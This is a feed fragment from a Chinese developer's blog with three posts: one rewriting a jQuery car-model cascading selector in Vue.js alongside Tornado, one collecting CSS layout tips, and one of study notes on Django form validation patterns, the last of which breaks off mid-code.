<id>https://morningchen.com/2015/12/05/vue-js-notes/</id>
<published>2015-12-05T13:53:09.000Z</published>
<updated>2018-09-27T17:39:55.000Z</updated>
<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>最近工作中的一个小项目需要做一个车辆信息选择框的三级联动，有点类似省市县的三级联动，下一级依赖上一级的数据。最后的效果是这样</p><p>因为这一块的代码业务逻辑相当复杂，采用jQuery写的话代码量有点大，而且会把html的代码写在js文件里，不易于阅读和后期维护，所以CTO大大建议用Vue.js来重写。</p><h3 id="思考过程"><a href="#思考过程" class="headerlink" title="思考过程"></a>思考过程</h3><ol><li>首先是爬取车辆信息的数据，找了一家信息比较全的相关平台，开始了爬虫之旅，待有空写下爬虫的思考，这里略过</li><li>拿到大概2万多条数据后，写一个pipeline整理好数据并写入自己的数据库，数据分为3类：品牌、系列、车型，存入3张表里，分别命名为car_brands, car_series, car_models，哦了～有了数据就可以动手了</li><li>后端写好三个handler逻辑，将数据以json的方式传给前端</li></ol><a id="more"></a><h3 id="用-jQuery写"><a href="#用-jQuery写" class="headerlink" title="用 jQuery写"></a>用 jQuery写</h3><p>前端前端来接受我大后端的数据吧～，以下是我之前写的jQuery版本的代码</p><ol><li>第一个focus事件 点击input框框弹出modal选择框，并向后台请求car_brands数据，成功后render到modal里</li><li>第二个click事件 选择第一列品牌后，向后台请求car_series数据，成功后render出该品牌下所有的车系</li><li>第三个click事件 选择第二列车系后，向后台请求car_models数据，成功后render出该车系下所有的型号</li><li>第四个click事件 选择第三列车型后，将<code>确定</code>button激活</li><li>第五个click事件 点击保存按钮后 隐藏modal框，将选好的信息写入input框框，用blur方法激活formvalidation表单校验</li></ol><pre><code>$("#select-car").on("focus", 'input', (function () { $('#carModal').modal('show'); $("#choose-brand > .choose-box").html(''); $("#choose-series > .choose-box").html('<div class="cont-default" data-code="" data-name="">请先选择品牌</div>'); $("#choose-model > .choose-box").html('<div class="cont-default" data-code="" data-name="">请先选择车系</div>'); $('#save-car').prop('disabled', true); $.ajax({ url: "/borrow/release/car_brands", dataType: "json", success: function (data) { $(".brand-cata").html(""); $.each(data, function(k, v){ $(".brand-cata").append("<li>" + v.cata + "</li>"); $("#choose-brand > .choose-box").append("<div class=cont-tit data-name='" + v.cata + "'>" + v.cata + "</div>"); $.each(v.brands, function(k, v){ var b = $("<div class='choose-cont' data-code='" + v.brand_code + "' data-name='" + v.en_name + "'>" + v.en_name + "</div>"); $("#choose-brand > .choose-box").append(b); }) }); $(".brand-cata li").on("click", function () { var e = $(this).html(), t = $("#choose-brand .choose-box .cont-tit[data-name=" + e.toUpperCase() + "]"); t.length && t.parent().animate({scrollTop: t.parent().scrollTop() + (t.offset().top - t.parent().offset().top)}) }); }, error: function (data) {}, fail: function (data) {} });}));var loading_flag = false;$("#choose-brand").on("click", ".choose-box > .choose-cont", function () { if (loading_flag == true) { return false } $("#choose-series > .choose-box").html('<div class="cont-default" data-code="" data-name="">请先选择品牌</div>'); $("#choose-model > .choose-box").html('<div class="cont-default" data-code="" data-name="">请先选择车系</div>'); $('#save-car').prop('disabled', true); $(".choose-cont").removeClass("active"); $(this).addClass("active"); $.ajax({ url: "/borrow/release/car_series", data: {'brand_code': $(this).attr('data-code')}, dataType: "json", beforeSend: function () { loading_flag = true; }, success: function (data) { loading_flag = false; $("#choose-series > .choose-box").html(""); $.each(data, function (k, v) { $("#choose-series > .choose-box").append("<div class=cont-tit>" + v.factory + "</div>"); $.each(v.series, function(k, v) { var s = $('<div class="choose-cont" data-code="' + v.series_code + '" data-name="' + v.en_name + '">' + v.en_name + "</div>"); $("#choose-series > .choose-box").append(s); }) }); }, error: function (data) { }, fail: function (data) { } })});$("#choose-series").on("click", ".choose-box > .choose-cont", function () { if (loading_flag == true) { return false } $("#choose-model > .choose-box").html('<div class="cont-default" data-code="" data-name="">请先选择车系</div>'); $("#choose-series > .choose-box > .choose-cont").removeClass("active"); $('#save-car').prop('disabled', true); $(this).addClass("active"); $.ajax({ url: "/borrow/release/car_models", data: {'series_code': $(this).attr('data-code')}, dataType: "json", beforeSend: function () { loading_flag = true; }, success: function (data) { loading_flag = false; $("#choose-model > .choose-box").html(""); $.each(data, function (k, v) { $("#choose-model > .choose-box").append("<div class=cont-tit>" + v.year + '款' + "</div>"); $.each(v.models, function(k, v) { var m = $('<div class="choose-cont" data-code="' + v.code + '" data-name="' + v.en_name + '">' + v.en_name + "</div>"); $("#choose-model > .choose-box").append(m); }) }); }, error: function (data) { }, fail: function (data) { } })});$("#choose-model").on("click", ".choose-box > .choose-cont", function () { $("#choose-model > .choose-box > .choose-cont").removeClass("active"); $(this).addClass("active"); if ($("#choose-model > .choose-box > .choose-cont.active").length === 1) { $("#save-car").prop("disabled", false) }});$("#save-car").on("click", function () { var car_brand = $('#choose-brand > .choose-box > .choose-cont.active').text(), car_series = $("#choose-series > .choose-box > .choose-cont.active").text(), car_model = $("#choose-model > .choose-box > .choose-cont.active").text(); $("#carModal").modal("hide"); $("#brand").val(car_brand).blur(); $("#brand-model").val(car_series).blur(); $("#car-model").val(car_model).blur(); $("#select-car").off("focus", "input"); $("#select-car").on("focus", 'input', function(){ $('#carModal').modal('show') })});</code></pre><p>如果我是刚接手这个项目的码农话，看到这个代码简直要掀桌(ノ=Д=)ノ┻━┻！！！估计就算自己写的过几个月也看不懂了。<br>是时候祭出vue了！！！</p><h3 id="用-Vue-js重写"><a href="#用-Vue-js重写" class="headerlink" title="用 Vue.js重写"></a>用 Vue.js重写</h3><p>过了一遍vue的官方文档，发现有以下几个问题需要解决：</p><ol><li><p>解决tornado 和 vue expression 的冲突</p><p> 因为我们用的是tornado，前端不仅有tornado render来的数据，还有vue的数据，如果都用<code>{{ }}</code>会造成冲突的。google+stackoverflow了一波，发现可以改写vue expression的全局配置。</p><pre><code>Vue.config.delimiters = ['${', '}']</code></pre><p> 将vue expression 改写成<code>${ }</code>。</p><p> <a href="http://vuejs.org/api/#delimiters。" target="_blank" rel="noopener">http://vuejs.org/api/#delimiters。</a></p></li><li><p>第二个问题就是vue 内部如何传值</p><p> 官方例子中给了我们答案，直接 <code>this.foo = bar</code>就可以改变data里的数据了，简直方便的不要不要的</p><p> <a href="http://vuejs.org/examples/commits.html" target="_blank" rel="noopener">http://vuejs.org/examples/commits.html</a></p></li></ol><p>看看vue.js 的代码，</p><ol><li>改写全局配置，用<code>${ }</code>代替默认的<code>{{ }}</code>expression</li><li>设置loading_flag防止多次ajax请求</li><li><p>新建一个vue的实例，里面包含6条数据和5个方法，他们必须在<code>#select-car</code>那个div里面，否则不能解析</p><ul><li>brand_items, series_items, model_items 用来保存后端传来的json数据</li><li>chosen_brand, chosen_series, chosen_model 用来保存用户当前选择的数据</li><li>show_modal 方法就是jQuery版本中的select-car事件，请求car_brands数据，传给brand_items，其他的方法也类似</li></ul></li></ol><pre><code>Vue.config.delimiters = ['${', '}'];var loading_flag = false;var vue_show = new Vue({ el: '#select-car', data: { brand_items: '', series_items: '', model_items: '', chosen_brand: '', chosen_series: '', chosen_model: '' }, methods: { show_modal: function () { $('#carModal').modal('show'); var self = this; $.ajax({ url: "/common/car_brands", dataType: "json", success: function(data){ self.brand_items = sort_brands(data); } }) }, select_brand: function (e) { var self = this; if (loading_flag == true) { return false } var $target = $(e.target); self.chosen_brand = $target.attr('data-name'); loading_flag = true; $.ajax({ url: "/common/car_series", data: {'brand_code': $target.attr('data-code')}, dataType: "json" }).done( function (data) { self.model_items=[]; self.series_items = sort_series(data); self.chosen_series = ''; self.chosen_model = ''; }).always(function (data) { loading_flag = false }); }, select_series: function (e) { var self = this; if (loading_flag == true) { return false } var $target = $(e.target); self.chosen_series = $target.attr('data-name'); loading_flag = true; $.ajax({ url: "/common/car_models", data: {'series_code': $target.attr('data-code')}, dataType: "json" }).done( function (data) { self.model_items = sort_models(data); self.chosen_model = ''; }).always(function (data) { loading_flag = false }); }, select_model: function (e) { var self = this; self.chosen_model = $(e.target).attr('data-name'); }, scroll_brands: function (e) { var s = $(e.target).html(), t = $("#choose-brand .choose-box .cont-tit[data-name=" + s.toUpperCase() + "]"); t.length && t.parent().animate({scrollTop: t.parent().scrollTop() + (t.offset().top - t.parent().offset().top)}) } }});</code></pre><p>从vue js 中可以看出逻辑清晰，数据和方法显示直观，几乎没什么html代码，因为都写在html页面中了，再来看看html中的vue如何写</p><ol><li>vue 根据<code>el: '#select-car'</code>来判断这个div是不是vue</li><li>input 框绑定了<code>show_modal</code>的click事件，<code>{{ form.car_model }}</code>是tornado 传来的别的数据 和vue无关，不要在意</li><li><code>字母列表</code>用<code>v-for</code>方法循环了<code>brand_items</code>，将左侧的字母render出来，并绑定了<code>scroll_brands</code> click事件</li><li><code>品牌列表</code>用<code>template v-for</code>方法循环了<code>brand_items</code>，用<code>v-bind:class</code>写个三元表达式来判断是不是被选中。<code>template v-for</code>下还有第二层循环<code>v-for</code>，他绑定了<code>select_brand</code>的click事件</li><li><code>车系列表</code>、<code>车型列表</code>与<code>品牌列表</code>类似</li><li><code>确定</code>button 用<code>:disabled</code>写个三元表达式来判断是否选了model，以激活<code>确定</code>button</li></ol><p>这里说下<code>template v-for</code>和<code>v-for</code> 的区别：</p><ul><li><code>v-for</code>只循环自身，不循环别的元素</li><li><code>template v-for</code>循环包裹着的所有元素</li></ul><pre><code><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><div id="select-car" class="select"></span><br><span class="line"> ...</span><br><span class="line"> <input type="text" class="form-control" name="car_model" id="car-model" placeholder="点击选择车型"</span><br><span class="line"> autocomplete="off" readonly value=`{{ form.car_model }}` style="cursor: pointer" @click="show_modal"></span><br><span class="line"></span><br><span class="line"> <!-- Modal --></span><br><span class="line"> ...</span><br><span class="line"> <div class="open-tit">请选择品牌</div></span><br><span class="line"> <ul class="col-xs-1 brand-cata"></span><br><span class="line"> <!--字母列表--></span><br><span class="line"> <li v-for="item in brand_items" @click="scroll_brands"></span><br><span class="line"> ${ item.cata }</span><br><span class="line"> </li></span><br><span class="line"> </ul></span><br><span class="line"> <div class="col-xs-10 choose-box"></span><br><span class="line"> <!--品牌列表--></span><br><span class="line"> <template v-for="item in brand_items"></span><br><span class="line"> <div class=cont-tit data-name="${ item.cata }"></span><br><span class="line"> ${ item.cata }</span><br><span class="line"> </div></span><br><span class="line"> <div class="choose-cont" v-bind:class="[chosen_brand==b.en_name ? 'active' : '']" data-code="${ b.brand_code }" data-name="${ b.en_name }"</span><br><span class="line"> v-for="b in item.brands" @click="select_brand"></span><br><span class="line"> ${ b.en_name }</span><br><span class="line"> </div></span><br><span class="line"> </template></span><br><span class="line"> </div></span><br><span class="line"> ...</span><br><span class="line"> <div class="open-tit">请选择车系</div></span><br><span class="line"> <div class="choose-box"></span><br><span class="line"> <!--车系列表--></span><br><span class="line"> <div class="cont-default" data-code="" data-name="" v-bind:class="[chosen_brand ? 'none' : '']">请先选择品牌</div></span><br><span class="line"> <template v-for="item in series_items"></span><br><span class="line"> <div class=cont-tit>${ item.factory }</div></span><br><span class="line"> <div class="choose-cont" v-bind:class="[chosen_series==s.en_name ? 'active' : '']" data-code="${ s.series_code }" data-name="${ s.en_name }"</span><br><span class="line"> v-for="s in item.series" @click="select_series"></span><br><span class="line"> ${ s.en_name }</span><br><span class="line"> </div></span><br><span class="line"> </template></span><br><span class="line"> </div></span><br><span class="line"> ...</span><br><span class="line"> <div class="open-tit">请选择车型</div></span><br><span class="line"> <div class="choose-box"></span><br><span class="line"> <!--车型列表--></span><br><span class="line"> <div class="cont-default" data-code="" data-name="" v-bind:class="[chosen_series ? 'none' : '']">请先选择车系</div></span><br><span class="line"> <template v-for="item in model_items"></span><br><span class="line"> <div class=cont-tit>${ item.year + '款' }</div></span><br><span class="line"> <div class="choose-cont" v-bind:class="[chosen_model==m.en_name ? 'active' : '']" data-code="${ m.code }" data-name="${ m.en_name }"</span><br><span class="line"> v-for="m in item.models" @click="select_model"></span><br><span class="line"> ${ m.en_name }</span><br><span class="line"> </div></span><br><span class="line"> </template></span><br><span class="line"> </div></span><br><span class="line"> ...</span><br><span class="line"> <button type="button" class="btn btn-primary" id="save-car" :disabled="chosen_model ? false : true">确定</button></span><br><span class="line"> ...</span><br><span class="line"></div></span><br></pre></td></tr></table></figure></code></pre><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>Vue.js 仅仅是MVVM中的V层，他设计简单，学习周期短，可以快速投入到单页面中</li><li>指令和组件分很清晰，有自己的视图和数据逻辑</li><li>有更好的性能，没有脏检查，并且非常非常容易优化</li></ul><h3 id="感谢"><a href="#感谢" class="headerlink" title="感谢"></a>感谢</h3><ul><li>Vue.js官方 <a href="http://vuejs.org/" target="_blank" rel="noopener">http://vuejs.org/</a></li><li>CTO大大的强力助攻，和这么多优秀的小伙伴一起共事简直太棒了~</li></ul>]]></content>
<summary type="html">
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>最近工作中的一个小项目需要做一个车辆信息选择框的三级联动，有点类似省市县的三级联动，下一级依赖上一级的数据。最后的效果是这样</p>
<p>因为这一块的代码业务逻辑相当复杂，采用jQuery写的话代码量有点大，而且会把html的代码写在js文件里，不易于阅读和后期维护，所以CTO大大建议用Vue.js来重写。</p>
<h3 id="思考过程"><a href="#思考过程" class="headerlink" title="思考过程"></a>思考过程</h3><ol>
<li>首先是爬取车辆信息的数据，找了一家信息比较全的相关平台，开始了爬虫之旅，待有空写下爬虫的思考，这里略过</li>
<li>拿到大概2万多条数据后，写一个pipeline整理好数据并写入自己的数据库，数据分为3类：品牌、系列、车型，存入3张表里，分别命名为car_brands, car_series, car_models，哦了～有了数据就可以动手了</li>
<li>后端写好三个handler逻辑，将数据以json的方式传给前端</li>
</ol>
</summary>
<category term="Frontend" scheme="https://morningchen.com/categories/Frontend/"/>
<category term="Vue" scheme="https://morningchen.com/categories/Frontend/Vue/"/>
<category term="JavaScript" scheme="https://morningchen.com/tags/JavaScript/"/>
<category term="Tornado" scheme="https://morningchen.com/tags/Tornado/"/>
<category term="Vue" scheme="https://morningchen.com/tags/Vue/"/>
<category term="jQuery" scheme="https://morningchen.com/tags/jQuery/"/>
</entry>
<entry>
<title>写css遇到的问题</title>
<link href="https://morningchen.com/2015/11/03/css-notes/"/>
<id>https://morningchen.com/2015/11/03/css-notes/</id>
<published>2015-11-03T11:12:41.000Z</published>
<updated>2018-09-27T03:49:49.000Z</updated>
<content type="html"><![CDATA[<h3 id="标签的伪类样式"><a href="#标签的伪类样式" class="headerlink" title="标签的伪类样式"></a>标签的伪类样式</h3><ul><li>a:link： 未访问链接</li><li>a:visited： 已访问链接</li><li>a:focus： 正在访问的链接</li><li>a:active： 激活时（链接获得焦点时）链接的颜色</li><li>a:hover： 鼠标移到链接上时</li></ul><h3 id="文字溢出省略"><a href="#文字溢出省略" class="headerlink" title="文字溢出省略"></a>文字溢出省略</h3><pre><code>.flatpages-articles-col-left > ul > li > a { color: #3492e9; line-height: 50px; font-size: 16px; width: 300px; height: 40px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; display: inline-block;}</code></pre><a id="more"></a><h3 id="文章内滚动"><a href="#文章内滚动" class="headerlink" title="文章内滚动"></a>文章内滚动</h3><pre><code>.flatpages-articles-col-right { border-left: 1px solid #d2d2d2; height: 500px; overflow: scroll;}</code></pre><h3 id="阴影"><a href="#阴影" class="headerlink" title="阴影"></a>阴影</h3><pre><code>.flatpages-articles-title { width: 1004px; height: 60px; background: #0197f3; position: relative; margin-left: -28px; margin-top: 26px; -moz-box-shadow: 0 2px 5px rgba(0, 0, 0, .25); -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, .25); box-shadow: 0 2px 5px rgba(0, 0, 0, .25);}</code></pre><h3 id="三角"><a href="#三角" class="headerlink" title="三角"></a>三角</h3><pre><code>.flatpages-articles-title:before { width: 0; height: 0; border-top: 12px solid #3492e9; border-left: 12px solid transparent; content: ''; top: 60px; position: absolute;}</code></pre><h3 id="透明蒙板"><a href="#透明蒙板" class="headerlink" title="透明蒙板"></a>透明蒙板</h3><pre><code>.flatpages-join-mask { height: 710px; width: 980px; background-color: rgba(255, 255, 255, 0.6); border-radius: 20px; padding-top: 42px;}</code></pre><p>适配IE8，IE8中内容不透明，蒙板透明，记得在内容中加上position: relative</p><pre><code>.flatpages-about-mask { background: #fff; background-color: rgba(255, 255, 255, 0.6); filter: progid:DXImageTransform.Microsoft.Alpha(opacity=60); -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(opacity=60)"; color: #fff; border-radius: 20px; -moz-border-radius: 20px; -webkit-border-radius: 20px; padding: 40px 60px; height: 600px; margin-top: 20px;}</code></pre><h3 id="伪元素下划线"><a href="#伪元素下划线" class="headerlink" title="伪元素下划线"></a>伪元素下划线</h3><pre><code>.flatpages-join-info > span:before { content: " "; position: absolute; width: 360px; height: 1px; background-color: #d2d2d2; bottom: 0; left: 10px;}.flatpages-join-info > span:after { content: " "; position: absolute; bottom: 0; left: 10px; width: 100px; height: 1px; background-color: #00a1ea;}</code></pre><h3 id="各种图形"><a href="#各种图形" class="headerlink" title="各种图形"></a>各种图形</h3><ul><li><a href="https://css-tricks.com/examples/ShapesOfCSS/" target="_blank" rel="noopener">The Shapes of CSS</a></li></ul><h3 id="图片灰度切换"><a href="#图片灰度切换" class="headerlink" title="图片灰度切换"></a>图片灰度切换</h3><p>例子 <a href="http://insights.thoughtworkers.org/frontend-backend/" target="_blank" rel="noopener">http://insights.thoughtworkers.org/frontend-backend/</a></p><pre><code>img.gray { -webkit-filter: grayscale(100%); -o-filter: grayscale(100%); filter: gray; filter: grayscale(100%); -webkit-transition: all 0.6s; -moz-transition: all 0.6s; -ms-transition: all 0.6s; -o-transition: all 0.6s; transition: all 0.6s;}</code></pre>]]></content>
<summary type="html">
<h3 id="标签的伪类样式"><a href="#标签的伪类样式" class="headerlink" title="标签的伪类样式"></a>标签的伪类样式</h3><ul>
<li>a:link： 未访问链接</li>
<li>a:visited： 已访问链接</li>
<li>a:focus： 正在访问的链接</li>
<li>a:active： 激活时（链接获得焦点时）链接的颜色</li>
<li>a:hover： 鼠标移到链接上时</li>
</ul>
<h3 id="文字溢出省略"><a href="#文字溢出省略" class="headerlink" title="文字溢出省略"></a>文字溢出省略</h3><pre><code>.flatpages-articles-col-left &gt; ul &gt; li &gt; a {
color: #3492e9;
line-height: 50px;
font-size: 16px;
width: 300px;
height: 40px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
display: inline-block;
}
</code></pre>
</summary>
<category term="Frontend" scheme="https://morningchen.com/categories/Frontend/"/>
<category term="CSS" scheme="https://morningchen.com/categories/Frontend/CSS/"/>
<category term="CSS" scheme="https://morningchen.com/tags/CSS/"/>
</entry>
<entry>
<title>Two Scoops of Django 1.8 学习笔记七</title>
<link href="https://morningchen.com/2015/09/26/Two-Scoops-of-Django-1-8-notes-7/"/>
<id>https://morningchen.com/2015/09/26/Two-Scoops-of-Django-1-8-notes-7/</id>
<published>2015-09-26T08:45:28.000Z</published>
<updated>2018-09-27T03:56:51.000Z</updated>
<content type="html"><![CDATA[<h2 id="12-表单通用模式"><a href="#12-表单通用模式" class="headerlink" title="12. 表单通用模式"></a>12. 表单通用模式</h2><p>Django的表单强大、灵活、扩展性强、健全。因此，Django admin 和 CBVs广泛的使用了表单。<br>事实上，所有重大的Django API 框架用ModelForms 或者类似的实现来作为它们校验的一部分。</p><p>结合表单、模型、视图让我们用较少的努力做了较多的事。学习曲线是值得的：<br>一旦你学会了使用这些组件流畅的进行工作，你会发现，Django提供了以惊人的速度创造数量惊人的有用且稳定功能的能力</p><p>这一章明确讲解了Django最好的部分之一：forms, models, CBVs之间的协同工作。<br>它覆盖了五个通用表单模式。每个Django开发者都应该掌握<br><a id="more"></a></p><h3 id="12-1-模式一：简易的ModelForm使用默认校验"><a href="#12-1-模式一：简易的ModelForm使用默认校验" class="headerlink" title="12.1 模式一：简易的ModelForm使用默认校验"></a>12.1 模式一：简易的ModelForm使用默认校验</h3><p>如果你还记得，用CBVs就能实现表单的增加和修改，而且只需要几行代码：</p><pre><code># flavors/views.pyfrom django.views.generic import CreateView, UpdateViewfrom braces.views import LoginRequiredMixinfrom .models import Flavorclass FlavorCreateView(LoginRequiredMixin, CreateView): model = Flavor fields = ('title', 'slug', 'scoops_remaining')class FlavorUpdateView(LoginRequiredMixin, UpdateView): model = Flavor fields = ('title', 'slug', 'scoops_remaining')</code></pre><p>总结一下我们在这儿是如何使用默认校验的：</p><ul><li>将Flavor作为模型分配到FlavorCreateView和FlavorUpdateView</li><li>这两个视图根据Falvor模型自动生成了一个ModelForm</li><li>这些ModelForm依赖Falvor模型中默认的字段校验规则</li></ul><p>Django提供了很多不错的数据校验，但在实践中还远远不够。<br>我们认识到了这一点，因此将它作为第一步，下一模式中将会演示如何创建一个自定义的字段校验器</p><h3 id="12-2-模式二：ModelForm中自定义表单字段校验"><a href="#12-2-模式二：ModelForm中自定义表单字段校验" class="headerlink" title="12.2 模式二：ModelForm中自定义表单字段校验"></a>12.2 模式二：ModelForm中自定义表单字段校验</h3><p>如果我们想要确定dessert应用中的title字段是否是以<code>Tasty</code>开头该怎么办。可以用简单的自定义字段校验器解决。</p><p>想象一下这个例子：我们的项目中有两个不同的dessert相关的模型：一个描述冰淇淋口味的Flavor模型和一个描述不同种类奶昔的Milkshake模型。假设它们都有title字段。</p><p>为了校验所有可编辑模型的title字段，我们先创建一个validators.py模块</p><pre><code># core/validators.pyfrom django.core.exceptions import ValidationErrordef validate_tasty(value): """Raise a ValidationError if the value doesn't start with the word 'Tasty'. """ if not value.startswith(u"Tasty"): msg = u"Must start with Tasty" raise ValidationError(msg)</code></pre><p>这是一个函数校验器，如果不能通过测试则抛出错误。我们的validate_tasty()函数校验器看起来就是一个简单的字符串检查，而在实践中，表单字段校验器相当复杂。</p><p>为了在两个不同的dessert模型中都能使用到validate_tasty()，我们会把这个校验器放在一个叫做TastyTitleAbstractModel的抽象模型中，我们就能在整个项目中使用了。</p><p>假设我们的Flavor模型和Milkshake模型在各自独立的应用中，把校验器放在任一个应用中都不合理。因此，我们把TastyTitleAbstractModel放在<code>core/models.py</code>核心模块中。</p><pre><code># core/models.pyfrom django.db import modelsfrom .validators import validate_tastyclass TastyTitleAbstractModel(models.Model): title = models.CharField(max_length=255, validators=[validate_tasty]) class Meta: abstract = True</code></pre><p>如我们所愿，代码最后两行让TastyTitleAbstractModel成为了抽象模型。</p><p>我们修改一下 flavor/models.py 的原始代码，把TastyTitleAbstractModel作为父类：</p><pre><code># flavors/models.pyfrom django.core.urlresolvers import reversefrom django.db import modelsfrom core.models import TastyTitleAbstractModelclass Flavor(TastyTitleAbstractModel): slug = models.SlugField() scoops_remaining = models.IntegerField(default=0) def get_absolute_url(self): return reverse("flavors:detail", kwargs={"slug": self.slug})</code></pre><p>它可以用到Falvor模型中，也可以用到任何一个与tasty相关的模型中，<br>比如一个描述华夫饼的WaffleCone模型或者一个描述蛋糕的Cake模型。<br>如果他们的title字段不是以<code>Tasty</code>开头的，都会抛出一个校验错误。</p><p>现在，我们来探讨一下可能存在你脑海中的两个疑问：</p><ul><li>如果我们只想在表单中使用validate_tasty()怎么办？</li><li>除了title字段，我们还想在别的字段中使用怎么办？</li></ul><p>那就需要利用这个校验器来创建一个自定义的FalvorForm：</p><pre><code># flavors/forms.pyfrom django import formsfrom core.validators import validate_tastyfrom .models import Flavorclass FlavorForm(forms.ModelForm): def __init__(self, *args, **kwargs): super(FlavorForm, self).__init__(*args, **kwargs) self.fields["title"].validators.append(validate_tasty) self.fields["slug"].validators.append(validate_tasty) class Meta: model = Flavor</code></pre><p>这个模式最赞的地方是我们没有改变校验器的原始代码，仅仅只是将它导入，并且在新的位置使用了它<br>给这个视图附上自定义表单是我们的下一步，GCBVs中的edit视图会基于视图的模型属性自动生成ModelForm，我们将通过定制的FlavorForm来覆盖默认的。</p><pre><code># flavors/views.pyfrom django.contrib import messagesfrom django.views.generic import CreateView, UpdateView, DetailViewfrom braces.views import LoginRequiredMixinfrom .models import Flavorfrom .forms import FlavorFormclass FlavorActionMixin(object): model = Flavor fields = ('title', 'slug', 'scoops_remaining') @property def success_msg(self): return NotImplemented def form_valid(self, form): messages.info(self.request, self.success_msg) return super(FlavorActionMixin, self).form_valid(form)class FlavorCreateView(LoginRequiredMixin, FlavorActionMixin, CreateView): success_msg = "created" # Explicitly attach the FlavorForm class form_class = FlavorFormclass FlavorUpdateView(LoginRequiredMixin, FlavorActionMixin, UpdateView): success_msg = "updated" # Explicitly attach the FlavorForm class form_class = FlavorFormclass FlavorDetailView(DetailView): model = Flavor</code></pre><p>现在FlavorCreateView和FlavorUpdateView这两个视图使用新的FlavorForm来校验传入数据。</p><h3 id="12-3-模式三：覆写校验的clean阶段"><a href="#12-3-模式三：覆写校验的clean阶段" class="headerlink" title="12.3 模式三：覆写校验的clean阶段"></a>12.3 模式三：覆写校验的clean阶段</h3><p>我们来讨论一下有趣的校验使用情况：</p><ul><li>多字段校验</li><li>校验涉及已验证的数据库中的现有数据</li></ul><p>这两种场景都需要根据自定义的校验逻辑覆写clean()和clean_field_name()方法</p><p>在默认的校验器和自定义的字段校验器运行之后，Django提供了第二阶段的校验，那就是clean()和clean_field_name()方法。你可能想知道为什么Django提供了更多的钩子进行校验，下是我们最喜欢的原因：</p><ol><li>由于clean()不是针对任何一个特定的字段，clean()方法是用来验证两个或更多的字段互相冲突的场所，</li><li>clean 阶段是一个针对持久类数据校验的更好的场所，由于数据已经有了一些验证，你就不会将数据库的循环浪费在不必要的查询中。</li></ol><p>我们通过另一个例子来探讨一下，也许你想实现一个冰淇淋的订购表单，用户可以指定想要的口味，配料。然后来我们的店里取走。由于我们需要给顾客展示库存不够的情况，我们会用到clean_slug()方法：</p><pre><code># flavors/forms.pyfrom django import formsfrom flavors.models import Flavorclass IceCreamOrderForm(forms.Form): """Normally done with forms.ModelForm. But we use forms.Form here to demonstrate that these sorts of techniques work on every type of form. """ slug = forms.ChoiceField("Flavor") toppings = forms.CharField() def __init__(self, *args, **kwargs): super(IceCreamOrderForm, self).__init__(*args, **kwargs) # We dynamically set the choices here rather than # in the flavor field definition. Setting them in # the field definition means status updates won't # be reflected in the form without server restarts. self.fields["slug"].choices = [ (x.slug, x.title) for x in Flavor.objects.all() ] # NOTE: We could filter by whether or not a flavor # has any scoops, but this is an example of # how to use clean_slug, not filter(). def clean_slug(self): slug = self.cleaned_data["slug"] if Flavor.objects.get(slug=slug).scoops_remaining <= 0: msg = u"Sorry, we are out of that flavor." raise forms.ValidationError(msg) return slug</code></pre><p>对于由HTML驱动的视图，如果库存不够了就会抛出Sorry, we are out of that flavor的错误。简直方便的不要不要的。</p><p>现在想象一下，如果我们接到了客户投诉说巧克力太多。是的，这是愚蠢的也不可能发生的，我们只是用这个虚构的例子来为我们的知识点举例。</p><pre><code># attach this code to the previous exampledef clean(self): cleaned_data = super(IceCreamOrderForm, self).clean() slug = cleaned_data.get("slug", "") toppings = cleaned_data.get("toppings", "") # Silly "too much chocolate" validation example if u"chocolate" in slug.lower() and \ u"chocolate" in toppings.lower(): msg = u"Your order has too much chocolate." raise forms.ValidationError(msg) return cleaned_data</code></pre><h3 id="12-4-模式四：破解表单字段-2-CBVs-2-Forms-1-Model"><a href="#12-4-模式四：破解表单字段-2-CBVs-2-Forms-1-Model" class="headerlink" title="12.4 模式四：破解表单字段(2 CBVs, 2 Forms, 1 Model)"></a>12.4 模式四：破解表单字段(2 CBVs, 2 Forms, 1 Model)</h3><p>这一节，我们会深入研究一个模型中对应两个视图/表单的情况。我们将会破解表单来创作一个自定义行为的表单。</p><p>一个商店列表的例子，我们希望这些商店的信息能尽快的存到系统中，但是之后希望还能添加例如电话号码和街道地址的数据。下面是我们的冰淇淋商店IceCreamStore模型：</p><pre><code># stores/models.pyfrom django.core.urlresolvers import reversefrom django.db import modelsclass IceCreamStore(models.Model): title = models.CharField(max_length=100) block_address = models.TextField() phone = models.CharField(max_length=20, blank=True) description = models.TextField(blank=True) def get_absolute_url(self): return reverse("store_detail", kwargs={"pk": self.pk})</code></pre><p>默认生成的ModelForm会强制用户输入title和block_address字段，但是允许用户不填phone和description字段</p><p>我们通过下面的表单来实现商店信息的更新：</p><pre><code># stores/forms.py# Call phone and description from the self.fields dict-like objectfrom django import formsfrom .models import IceCreamStoreclass IceCreamStoreUpdateForm(forms.ModelForm): class Meta: model = IceCreamStore def 